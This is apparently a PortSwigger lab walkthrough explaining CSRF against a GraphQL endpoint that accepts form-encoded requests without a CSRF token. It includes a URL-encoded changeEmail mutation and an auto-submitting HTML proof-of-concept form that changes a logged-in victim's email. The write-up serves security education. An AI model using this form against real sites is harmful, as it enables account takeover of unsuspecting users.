Performing CSRF exploits over GraphQL

3 min read Medium Portswigger
GraphQL API vulnerabilities
Contents

On this page

The lab

here is how portswigger describes it

The user management functions for this lab are powered by a GraphQL endpoint. The endpoint accepts requests with a content-type of x-www-form-urlencoded and is therefore vulnerable to cross-site request forgery (CSRF) attacks. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address, then upload it to your exploit server. You can log in to your own account using the following credentials: wiener:peter.

the new pieces in this lab#

CSRF and GraphQL meet here: a GraphQL mutation that changes state, delivered as a forged cross-site request.

  • CSRF (cross-site request forgery) makes a victim's browser send a state-changing request to a site where they're logged in, abusing the fact that the browser automatically attaches their session cookie. it works only when the request has no unpredictable, attacker-unknowable element (like a CSRF token) and can be triggered cross-site.
  • why content-type is the crux: GraphQL APIs normally expect application/json. a cross-site HTML form cannot send application/json, it can only produce application/x-www-form-urlencoded, multipart/form-data, or text/plain. so an API that only accepts JSON is incidentally CSRF-resistant (a form can't craft the request). this endpoint, however, also accepts x-www-form-urlencoded, which a plain HTML form can send, so a classic auto-submitting form becomes a valid GraphQL request.
  • no CSRF token: the mutation is accepted on the session cookie alone, resending it changes the email again, confirming there's no per-request anti-CSRF token. cookie + form-encodable body + no token = CSRF.
  • converting the mutation to a form POST: we take the JSON mutation and re-express it as form fields (query, operationName, variables), URL-encoded, so Burp's Generate CSRF PoC can wrap it in an auto-submitting <form>. the method: confirm the mutation can be replayed on the session cookie (no token), convert it to an x-www-form-urlencoded POST, generate a CSRF PoC HTML form, and host it so the victim's browser submits it and changes their email.

why the form-encoded endpoint is CSRF-able#

the flaw is that the endpoint accepts a state-changing mutation as x-www-form-urlencoded and protects it with nothing but the session cookie. two conditions make CSRF possible, and both hold. first, there's no anti-CSRF token, resending the mutation with the same cookie just works, so the request contains nothing an attacker can't predict. second, the body can be expressed in a content type an HTML form is allowed to send cross-site; had the endpoint required application/json, a cross-origin form could never produce a valid request and the attack would fail at the content-type gate. because both the token defense and the content-type defense are absent, we build an ordinary auto-submitting form whose fields are the URL-encoded GraphQL mutation. when the logged-in victim loads our page, their browser posts the form with their cookie attached, and the server executes the email change as if they'd requested it. GraphQL adds nothing special here beyond the body format; the real issue is the forgeable, token-less state change.

Step 1 - capture the email-change mutation#

we log in, enter a new email, and click Update email. in Proxy > HTTP history the email change is sent as a GraphQL mutation. we right-click it and Send to Repeater.

11111

Step 2 - confirm there's no CSRF token#

in Repeater we amend the GraphQL query to change the email to a second address and click Send. the response shows the email changed again, so we can reuse the session cookie to send multiple requests, there is no per-request CSRF token stopping a replay.

22222

Step 3 - convert to a form-encoded POST#

we convert the request into a POST with Content-Type: x-www-form-urlencoded via Change request method (clicking it twice). this deletes the mutation body, so we add it back URL-encoded as form fields:

query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D

(decoded, that's the changeEmail mutation with variables = {"input":{"email":"[email protected]"}}.)

33333

Step 4 - generate and deliver the CSRF PoC#

we right-click the request and choose Engagement tools > Generate CSRF PoC. we amend the HTML so it changes the email to a third, different address, this matters because the exploit only "changes" the email if the target value differs from the current one (same for testing: change the email away from the pending value before delivering):

html
<html>
  <body>
    <form action="https://YOUR-LAB-ID.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="...changeEmail mutation (HTML-encoded)..." />
      <input type="hidden" name="operationName" value="changeEmail" />
      <input type="hidden" name="variables" value="{&quot;input&quot;:{&quot;email&quot;:&quot;[email protected]&quot;}}" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

we copy the HTML, click Go to exploit server, paste it in, and Deliver exploit to victim. the victim's browser auto-submits the form with their cookie, changing their email.

with this, the lab is solved!